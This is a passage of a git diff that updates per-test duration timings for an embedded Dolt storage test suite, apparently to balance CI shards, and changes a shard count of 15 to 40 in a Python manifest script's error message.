"TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses": 1.71, + "TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim": 0.62, + "TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose": 11.59, + "TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent": 1.49, + "TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel": 0.51, + "TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps": 1.16, + "TestEmbeddedIssueOperationsUpdateLabelPatchOrdering": 1.04, + "TestEmbeddedIssueOperationsUpdateLabelPatchValueRules": 2.4, + "TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates": 1.75, + "TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel": 0.49, + "TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure": 6.15, + "TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": 0.94, + "TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary": 1.17, + "TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": 1.1, + "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender": 5.4, + "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers": 5.3, + "TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField": 1.16, + "TestEmbeddedLenientOpenWarning_DataBehind": 49.93, + "TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance": 13.58, + "TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge": 0.53, + "TestEmbeddedMergeAndSettleFKCascadeRepair": 1.71, + "TestEmbeddedMergeAndSettleMemoryConfigConflict": 0.49, + "TestEmbeddedMergeAndSettleMetadataConflict": 0.43, + "TestEmbeddedMergeAndSettleRefusesUnknownTable": 0.5, + "TestEmbeddedMergeAndSettleReportsOperatorConflicts": 0.86, + "TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict": 0.54, + "TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers": 16.75, + "TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566": 22.49, + "TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690": 9.59, + "TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566": 10.78, + "TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566": 10.49, + "TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain": 10.53, + "TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext": 14.21, + "TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation": 6.55, + "TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints": 6.64, + "TestEmbeddedMigration0058HealsAlreadyAffectedDatabase": 6.74, + "TestEmbeddedMigration0062FlipsEventsToIgnoredPlane": 5.98, + "TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke": 12.76, + "TestEmbeddedOpenForReadOnlyCommand_LenientGate": 20.67, + "TestEmbeddedOpenForRemoteSync_DataBehind": 31.77, + "TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal": 13.44, "TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites": 0.0, - "TestEmbeddedOpenReadOnly_SkipsGateAndMigrations": 12.74, - "TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape": 36.7, - "TestEmbeddedReaderDoesNotMutateTheCallerRequest": 0.57, - "TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows": 1.08, - "TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue": 1.0, - "TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay": 0.32, - "TestEmbeddedReaderGetOptionalRowListsAreOffByDefault": 1.44, - "TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes": 1.46, - "TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse": 1.95, - "TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge": 3.36, - "TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides": 3.68, - "TestEmbeddedReaderListEmptyPageIsWellFormed": 0.46, - "TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder": 3.81, - "TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates": 2.31, - "TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder": 0.92, - "TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing": 3.0, - "TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress": 1.82, - "TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset": 2.54, - "TestEmbeddedReaderListMaxRowsIsHonored": 1.65, - "TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch": 2.14, - "TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn": 1.26, - "TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing": 2.44, - "TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet": 1.31, - "TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters": 1.83, - "TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry": 1.79, - "TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary": 0.7, - "TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse": 2.25, - "TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet": 1.23, - "TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt": 1.58, - "TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage": 2.27, - "TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse": 1.09, - "TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType": 0.95, - "TestEmbeddedReaderReadyDeferredAndEphemeralGates": 1.2, - "TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary": 2.49, - "TestEmbeddedReaderReadyLimitBoundary": 1.18, - "TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded": 4.48, - "TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix": 44.08, - "TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants": 3.71, - "TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions": 1.77, - "TestEmbeddedReaderReadySortPoliciesOrderTheSameRows": 0.53, - "TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists": 1.05, - "TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits": 0.95, - "TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState": 1.57, - "TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest": 0.34, - "TestEmbeddedReadyClaimerEmptyFrontIsNormal": 0.72, - "TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven": 3.13, - "TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities": 3.83, - "TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne": 1.87, - "TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet": 0.73, - "TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin": 0.78, - "TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor": 0.46, - "TestEmbeddedReadyClaimerSkipsIneligibleFrontRows": 1.04, - "TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped": 5.52, - "TestEmbeddedRecomputeAllBlockedWiring": 1.79, - "TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection": 1.54, - "TestEmbeddedRelationsAnswersInThePinnedOrder": 1.21, - "TestEmbeddedRelationsDirectionSelectsTheInverseGraph": 1.0, - "TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary": 0.8, - "TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer": 1.16, - "TestEmbeddedRelationsLeavesTheCallersRequestAlone": 0.81, - "TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether": 1.47, - "TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength": 0.4, - "TestEmbeddedRelationsRefusesAnUnusableTypeFilter": 0.42, - "TestEmbeddedRelationsRefusesTheZeroDirection": 0.46, - "TestEmbeddedRelationsResolvesAWispAnchor": 1.03, - "TestEmbeddedRelationsResolvesTheAnchorIDExactly": 1.09, - "TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue": 0.42, - "TestEmbeddedRemoteMigrateGate_BlocksReopen": 9.98, - "TestEmbeddedRenameKeepsDependencyIDsDeterministic": 8.71, - "TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing": 0.94, - "TestEmbeddedReopenIssueCategorySemantics": 3.54, - "TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit": 0.62, - "TestEmbeddedRoleFixtureKitHooksAreUsable": 1.35, + "TestEmbeddedOpenReadOnly_SkipsGateAndMigrations": 11.86, + "TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape": 37.92, + "TestEmbeddedReaderDoesNotMutateTheCallerRequest": 0.67, + "TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows": 1.25, + "TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue": 1.42, + "TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay": 0.31, + "TestEmbeddedReaderGetOptionalRowListsAreOffByDefault": 1.39, + "TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes": 1.1, + "TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse": 2.65, + "TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge": 4.98, + "TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides": 4.16, + "TestEmbeddedReaderListEmptyPageIsWellFormed": 0.51, + "TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder": 5.75, + "TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates": 3.44, + "TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder": 1.02, + "TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing": 2.88, + "TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress": 1.54, + "TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset": 2.55, + "TestEmbeddedReaderListMaxRowsIsHonored": 1.64, + "TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch": 1.48, + "TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn": 1.59, + "TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing": 2.87, + "TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet": 1.4, + "TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters": 1.73, + "TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry": 2.68, + "TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary": 0.85, + "TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse": 2.02, + "TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet": 2.1, + "TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt": 1.72, + "TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage": 2.48, + "TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse": 1.06, + "TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType": 1.54, + "TestEmbeddedReaderReadyDeferredAndEphemeralGates": 1.19, + "TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary": 3.91, + "TestEmbeddedReaderReadyLimitBoundary": 1.22, + "TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded": 4.24, + "TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix": 43.78, + "TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants": 3.65, + "TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions": 1.79, + "TestEmbeddedReaderReadySortPoliciesOrderTheSameRows": 0.84, + "TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists": 1.37, + "TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits": 1.02, + "TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState": 1.84, + "TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest": 0.39, + "TestEmbeddedReadyClaimerEmptyFrontIsNormal": 0.6, + "TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven": 3.36, + "TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities": 3.65, + "TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne": 2.06, + "TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet": 1.04, + "TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin": 0.93, + "TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor": 0.72, + "TestEmbeddedReadyClaimerSkipsIneligibleFrontRows": 1.36, + "TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped": 10.83, + "TestEmbeddedRecomputeAllBlockedWiring": 1.91, + "TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection": 1.32, + "TestEmbeddedRelationsAnswersInThePinnedOrder": 1.31, + "TestEmbeddedRelationsDirectionSelectsTheInverseGraph": 1.12, + "TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary": 1.58, + "TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer": 1.28, + "TestEmbeddedRelationsLeavesTheCallersRequestAlone": 1.12, + "TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether": 1.66, + "TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength": 0.67, + "TestEmbeddedRelationsRefusesAnUnusableTypeFilter": 0.5, + "TestEmbeddedRelationsRefusesTheZeroDirection": 0.75, + "TestEmbeddedRelationsResolvesAWispAnchor": 0.96, + "TestEmbeddedRelationsResolvesTheAnchorIDExactly": 1.2, + "TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue": 0.67, + "TestEmbeddedRemoteMigrateGate_BlocksReopen": 11.87, + "TestEmbeddedRenameKeepsDependencyIDsDeterministic": 9.9, + "TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing": 1.2, + "TestEmbeddedReopenIssueCategorySemantics": 6.31, + "TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit": 0.53, + "TestEmbeddedRoleFixtureKitHooksAreUsable": 1.32, "TestEmbeddedSQLCommitResponseLossIsIndeterminate": 0.0, - "TestEmbeddedSyncCommitsConfigBeforeMerge": 0.7, - "TestEmbeddedTempRebuildIntermediatesNeverReachHistory": 10.07, - "TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges": 0.86, - "TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit": 2.33, - "TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges": 1.52, - "TestEmbeddedTransactionWispLifecyclePersistsDurableDependent": 6.16, + "TestEmbeddedSyncCommitsConfigBeforeMerge": 0.87, + "TestEmbeddedTempRebuildIntermediatesNeverReachHistory": 13.03, + "TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges": 1.06, + "TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit": 2.22, + "TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges": 1.79, + "TestEmbeddedTransactionWispLifecyclePersistsDurableDependent": 12.61, "TestEpochContract": 0.0, - "TestEventsAutoPruneBoundsTheJournalToTheFloors": 1.73, - "TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded": 0.97, - "TestEventsAutoPruneThrottleSkipsTheSecondPass": 1.57, - "TestEventsJournalAccessor": 1.66, - "TestEventsJournalPruneNeverSplitsASkewedPair": 1.48, - "TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff": 0.97, - "TestEventsJournalReadRefusesAnInteriorHole": 1.14, - "TestEventsJournalRestartAndRetentionBoundary": 1.46, - "TestEventsJournal_ActorMatrixOnEmbedded": 4.21, - "TestEventsJournal_EmbeddedConcurrentGaplessNoDup": 2.6, - "TestEventsSinceEmbedded": 0.98, + "TestEventsAutoPruneBoundsTheJournalToTheFloors": 1.68, + "TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded": 1.02, + "TestEventsAutoPruneThrottleSkipsTheSecondPass": 2.34, + "TestEventsJournalAccessor": 1.59, + "TestEventsJournalPruneNeverSplitsASkewedPair": 1.67, + "TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff": 1.17, + "TestEventsJournalReadRefusesAnInteriorHole": 1.2, + "TestEventsJournalRestartAndRetentionBoundary": 1.68, + "TestEventsJournal_ActorMatrixOnEmbedded": 4.08, + "TestEventsJournal_EmbeddedConcurrentGaplessNoDup": 2.33, + "TestEventsSinceEmbedded": 0.79, "TestExpectedRevisionContract": 0.0, - "TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree": 24.77, - "TestForeignSkipDetailIsBounded": 5.58, - "TestGetDependentRecordsEmbedded": 2.15, - "TestGetDependentRecordsForIssuesEmbedded": 3.4, - "TestGetIssue": 2.37, - "TestGetIssueCommentsPageEmbedded": 3.1, - "TestGetLabels": 1.25, - "TestGetNextChildID": 3.75, - "TestGetReadyWorkIncludeEphemeralAppliesWispFilters": 6.5, - "TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps": 1.58, - "TestGetReadyWorkMoleculeFilter": 1.61, + "TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree": 25.13, + "TestForeignSkipDetailIsBounded": 6.11, + "TestGetDependentRecordsEmbedded": 1.95, + "TestGetDependentRecordsForIssuesEmbedded": 3.62, + "TestGetIssue": 2.57, + "TestGetIssueCommentsPageEmbedded": 3.22, + "TestGetLabels": 1.16, + "TestGetNextChildID": 3.83, + "TestGetReadyWorkIncludeEphemeralAppliesWispFilters": 5.96, + "TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps": 2.25, + "TestGetReadyWorkMoleculeFilter": 2.03, "TestGitRefPinsMatchDolt": 0.0, - "TestGraphCounterContract": 9.86, - "TestGraphWalkPlansHonorJoinHints": 5.53, + "TestGraphCounterContract": 9.1, + "TestGraphWalkPlansHonorJoinHints": 5.34, "TestHasRepository": 0.0, - "TestHeartbeatMatchesActorAcrossSpellingEmbedded": 0.56, - "TestHeartbeatRejectsWispEmbedded": 0.29, + "TestHeartbeatMatchesActorAcrossSpellingEmbedded": 0.63, + "TestHeartbeatRejectsWispEmbedded": 0.55, "TestHelperProcess": 0.0, - "TestHistoryPresenceContract": 1.96, - "TestHistory_NullTextColumns": 0.97, - "TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore": 1.86, - "TestIgnoredCursorHealConvergesFromEveryCrashState": 3.68, - "TestIgnoredCursorHealIsIdempotent": 1.62, - "TestIgnoredCursorHealNeverResurrectsRolledBackVersions": 0.92, - "TestIgnoredCursorHealRespectsOperatorOverride": 0.55, - "TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern": 0.44, - "TestIgnoredCursorHealResumeRespectsOperatorOverride": 0.7, - "TestIsBlockedBatchEmbedded": 2.12, - "TestJournalContract": 9.43, - "TestLargeBatchApplyStatementCounts356_Embedded": 22.91, - "TestLargeBatchApplyStatementCounts712_Embedded": 1.0, - "TestLargeBatchApplyStatementCountsClassic40_Embedded": 5.79, - "TestLargeBatchApplyWallClock_Embedded": 21.85, + "TestHistoryPresenceContract": 1.94, + "TestHistory_NullTextColumns": 0.98, + "TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore": 2.3, + "TestIgnoredCursorHealConvergesFromEveryCrashState": 3.34, + "TestIgnoredCursorHealIsIdempotent": 1.35, + "TestIgnoredCursorHealNeverResurrectsRolledBackVersions": 1.21, + "TestIgnoredCursorHealRespectsOperatorOverride": 0.66, + "TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern": 0.63, + "TestIgnoredCursorHealResumeRespectsOperatorOverride": 1.05, + "TestIsBlockedBatchEmbedded": 2.23, + "TestJournalContract": 6.39, + "TestLargeBatchApplyStatementCounts356_Embedded": 23.03, + "TestLargeBatchApplyStatementCounts712_Embedded": 0.0, + "TestLargeBatchApplyStatementCountsClassic40_Embedded": 6.4, + "TestLargeBatchApplyWallClock_Embedded": 23.45, "TestLargeGraphCreateTiming_Embedded": 0.0, - "TestLeaseLifecycleEmbedded": 3.01, - "TestLegacyTrackedIgnoredCursorHealsOnOpen": 0.83, - "TestLegacyTrackedIgnoredCursorUnwedgesPull": 4.25, + "TestLeaseLifecycleEmbedded": 3.29, + "TestLeaseReclaimerContract": 12.41, + "TestLegacyTrackedIgnoredCursorHealsOnOpen": 0.98, + "TestLegacyTrackedIgnoredCursorUnwedgesPull": 4.39, "TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance": 0.0, "TestLenientGateWarningBody_ShapedDecisions": 0.0, "TestLenientGateWarning_ComposedOutput": 0.0, - "TestLifecycleCloseReopenContract": 64.3, - "TestLifecycleCreateContract": 9.5, - "TestLifecycleUpdateContract": 32.78, - "TestListWisps": 1.0, - "TestMemoriesContract": 10.65, - "TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle": 1.06, - "TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict": 1.14, - "TestMergeWithStrategy_OursKeepsLocal": 0.65, - "TestMergeWithStrategy_TheirsResolvesAndCommits": 0.61, - "TestMerge_NoStrategyStillErrorsWithEscapeHatchHint": 0.52, - "TestMetadataCASContract": 9.64, - "TestOpenAfterCloseCreatesNewStore": 11.35, - "TestOpenDifferentDirsReturnsDifferentStores": 22.39, - "TestOpenReturnsCachedStore": 10.72, - "TestPartitionWispIDs": 0.75, - "TestPreviewStoreRefusesLocalMetadataWrite": 11.12, - "TestPristineEmbeddedDoltFixtureRelocatesPrefixes": 1.63, - "TestPromoteClearsNoHistory": 1.77, - "TestPromoteStillWorksWithCollisionGuard": 6.08, - "TestPruneEventsBatchDeletesTheLowestSeqsOnly": 1.23, - "TestPushCommitsPendingChangesFirst": 59.03, - "TestQuerierContract": 7.95, - "TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery": 0.63, - "TestReadyCounterContract": 4.93, - "TestReadyWorkPageTotal": 21.9, - "TestReadyWorkPageTotalFilterMatrix": 15.52, - "TestReadyWorkStatementBudget": 14.59, - "TestReadyWorkWithMissingDeferredParentTables": 4.54, - "TestReclaimAnyReplicaOverride": 0.71, - "TestReclaimExpiredLeaseSurvivesRestartEmbedded": 13.82, - "TestReclaimRefusesForeignReplicaLease": 0.74, - "TestReleaserContract": 5.0, + "TestLifecycleCloseReopenContract": 71.34, + "TestLifecycleCreateContract": 7.0, + "TestLifecycleUpdateContract": 39.96, + "TestListWisps": 1.01, + "TestMain": 0.0, + "TestMemoriesContract": 8.73, + "TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle": 0.73, + "TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict": 0.8, + "TestMergeWithStrategy_OursKeepsLocal": 0.8, + "TestMergeWithStrategy_TheirsResolvesAndCommits": 0.87, + "TestMerge_NoStrategyStillErrorsWithEscapeHatchHint": 0.66, + "TestMetadataCASContract": 10.0, + "TestOpenAfterCloseCreatesNewStore": 10.55, + "TestOpenDifferentDirsReturnsDifferentStores": 24.94, + "TestOpenReturnsCachedStore": 11.77, + "TestPartitionWispIDs": 0.81, + "TestPreviewStoreRefusesLocalMetadataWrite": 11.56, + "TestPristineEmbeddedDoltFixtureRelocatesPrefixes": 1.75, + "TestPromoteClearsNoHistory": 2.06, + "TestPromoteStillWorksWithCollisionGuard": 1.02, + "TestPruneEventsBatchDeletesTheLowestSeqsOnly": 1.37, + "TestPushCommitsPendingChangesFirst": 59.73, + "TestQuerierContract": 9.42, + "TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery": 0.83, + "TestReadyCounterContract": 7.64, + "TestReadyWorkPageTotal": 21.37, + "TestReadyWorkPageTotalFilterMatrix": 29.46, + "TestReadyWorkStatementBudget": 15.52, + "TestReadyWorkWithMissingDeferredParentTables": 4.42, + "TestReclaimAnyReplicaOverride": 0.63, + "TestReclaimExpiredLeaseSurvivesRestartEmbedded": 14.58, + "TestReclaimRefusesForeignReplicaLease": 1.42, + "TestReleaserContract": 9.54, "TestRemoteEntryPointsUseVersionControlOps": 0.0, - "TestRemoteGitDataRefOnEngine": 1.4, - "TestRemoteVerbPlainRemoteKeepsAmbientEnv": 10.97, - "TestRemoteVerbPlainRemoteWithoutAuthPresentsNone": 12.14, - "TestRemoteVerbsPresentStoredPeerCredentials": 12.78, - "TestRenameLabel": 1.98, - "TestRenameLabelMintsOneVersionPerTouchedBead": 2.45, - "TestReopenIssue": 1.09, + "TestRemoteGitDataRefOnEngine": 3.68, + "TestRemoteVerbPlainRemoteKeepsAmbientEnv": 12.73, + "TestRemoteVerbPlainRemoteWithoutAuthPresentsNone": 11.77, + "TestRemoteVerbsPresentStoredPeerCredentials": 23.55, + "TestRenameLabel": 1.91, + "TestRenameLabelMintsOneVersionPerTouchedBead": 2.08, + "TestReopenIssue": 1.36, "TestRetentionContract": 0.0, - "TestRunInTransactionPostCommitStageFailureIsIndeterminate": 0.44, - "TestSchemaAfterInit": 10.4, - "TestSearchWithMissingWispPlaneTables": 1.92, + "TestRunInTransactionPostCommitStageFailureIsIndeterminate": 0.82, + "TestSchemaAfterInit": 12.85, + "TestSearchWithMissingWispPlaneTables": 2.23, "TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed": 0.0, - "TestStatsReporterContract": 9.56, - "TestSweeperContract": 17.21, + "TestStatsReporterContract": 10.44, + "TestSweeperContract": 20.03, "TestTransactionCleanupAfterSQLCommitIsIndeterminate": 0.0, "TestTransactionCleanupBeforeSQLCommitRemainsDefinite": 0.0, - "TestTreeWalkerContract": 12.82, - "TestUnknownProvenanceLeaseStaysReclaimable": 1.21, - "TestUpdateIssueType": 0.51, - "TestUpdateMergeOps_DoltEngine": 0.49, - "TestUpdateMergeOps_DoltEngine_TwoIssues": 0.77, - "TestVersionReconcilerContract": 2.4, - "TestWithPeerAuth": 51.7, - "TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials": 12.63, - "TestWithPeerAuth_DivergedRemoteURLFailsClosed": 12.79, - "TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials": 8.72, - "TestWithPeerAuth_KeyMismatchFailsClosed": 11.39, - "TestWithPeerAuth_MissingRemoteFailsClosed": 10.01, - "TestWithPeerAuth_RestoresAbsentEnv": 11.38, - "TestWithPeerAuth_RestoresEnvWhenCallbackFails": 12.11, - "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword": 61.05, - "TestWorkspaceConfigContract": 5.37 + "TestTreeWalkerContract": 16.04, + "TestUnknownProvenanceLeaseStaysReclaimable": 1.03, + "TestUpdateIssueType": 0.49, + "TestUpdateMergeOps_DoltEngine": 0.59, + "TestUpdateMergeOps_DoltEngine_TwoIssues": 1.56, + "TestVersionReconcilerContract": 3.07, + "TestWithPeerAuth": 58.71, + "TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials": 13.55, + "TestWithPeerAuth_DivergedRemoteURLFailsClosed": 11.6, + "TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials": 12.18, + "TestWithPeerAuth_KeyMismatchFailsClosed": 11.21, + "TestWithPeerAuth_MissingRemoteFailsClosed": 11.39, + "TestWithPeerAuth_RestoresAbsentEnv": 12.08, + "TestWithPeerAuth_RestoresEnvWhenCallbackFails": 12.25, + "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordAmbient": 40.51, + "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordStored": 40.51, + "TestWorkspaceConfigContract": 5.12 } } diff --git a/scripts/ci/gen_embedded_storage_shard_manifest.py b/scripts/ci/gen_embedded_storage_shard_manifest.py index 3df3eba97..a90834356 100755 --- a/scripts/ci/gen_embedded_storage_shard_manifest.py +++ b/scripts/ci/gen_embedded_storage_shard_manifest.py @@ -168,7 +168,7 @@ def main(): ap.error(f'total_shards is required with --write (the default, {default_total_shards}, ' 'is the FROZEN legacy block -- see its header in embedded-storage-test-shards.txt; ' 'it must not be regenerated). Pass the Bazel-only total explicitly instead, e.g. ' - '"15 --weights=duration" for bazel-embedded\'s block (see ' + '"40 --weights=duration" for bazel-embedded\'s block (see ' 'internal/storage/embeddeddolt/BUILD.bazel\'s embeddeddolt_embedded_test ' 'shard_count for the current value)') args.total_shards = default_total_shards diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index 134fbf905..dd6771c67 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go 